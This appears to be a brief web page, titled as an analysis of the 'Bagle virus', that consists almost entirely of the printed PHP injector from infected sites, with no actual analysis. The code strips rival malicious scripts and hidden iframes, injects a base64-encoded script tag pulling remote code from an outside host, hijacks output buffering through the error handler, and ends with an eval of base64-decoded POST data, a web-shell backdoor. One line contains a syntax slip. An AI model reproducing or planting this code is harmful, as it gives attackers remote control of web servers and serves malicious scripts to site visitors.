PHP Code Analysis of Bagle Virus

The code

The following is the code that is executed on all pages infected by this virus :

if (!isset ($b0sr1))
  {
    function b0sr ($s)
    {
      if (preg_match_all ('#<script(.*?)</script>#is', $s, $a))
        foreach ($a[0] as $v) 
          if (count (explode ("\n", $v)) > 5)
          {
            $e = preg_match ('#[\'"][^\s\'"\.,;\?!\[\]:/<>\(\)]{30,}#', $v)
              || preg_match ('#[\(\[](\s*\d+,){20,}#', $v);
            if ((preg_match ('#\beval\b#', $v)
                 && ($e || strpos ($v, 'fromCharCode'))) || ($e
                                                             && strpos ($v,
                                                                        'document.write')))
              $s = str_replace ($v, '', $s);
          }
      if (preg_match_all
          ('#<iframe ([^>]*?)src=[\'"]?(http:)?//([^>]*?)>#is', $s, $a))
        foreach ($a[0] as $v)
          if (preg_match
              ('# width\s*=\s*[\'"]?0*[01][\'"> ]|display\s*:\s*none#i', $v)
              && !strstr ($v, '?'.'>'))
          $s = preg_replace ('#'.preg_quote ($v, '#').'.*?</iframe>#is', '', $s);
      $s = str_replace ($a =
                        base64_decode
                        ('PHNjcmlwdCBzcmM9aHR0cDovL2dlbXVzLnBsL2RiL2Z0cGNoazMucGhwID48L3NjcmlwdD4='),
                        '', $s);
      if (stristr ($s, '<body'))
        $s = preg_replace ('#(\s*<body)#mi', $a.'\1', $s);
      elseif (strpos ($s, ',a')) $s. = $a;
      return $s;
    }
    function b0sr2 ($a, $b, $c, $d)
    {
      global $b0sr1;
      $s = array ();
      if (function_exists ($b0sr1))
        call_user_func ($b0sr1, $a, $b, $c, $d);
      foreach (@ob_get_status (1) as $v) 
        if (($a = $v['name']) == 'b0sr')
          return;
        elseif ($a == 'ob_gzhandler') break;
        else
        $s[] = array ($a == 'default output handler' ? false : $a);
      
      for ($i = count ($s) - 1; $i >= 0; $i--)
        {
          $s[$i][1] = ob_get_contents ();
          ob_end_clean ();
        }
      ob_start ('b0sr');
      
      for ($i = 0; $i < count ($s); $i++)
        {
          ob_start ($s[$i][0]);
          echo $s[$i][1];
        }
    }
  }
$b0srl = (($a = @set_error_handler ('b0sr2')) != 'b0sr2') ? $a : 0;
eval (base64_decode ($_POST['e']));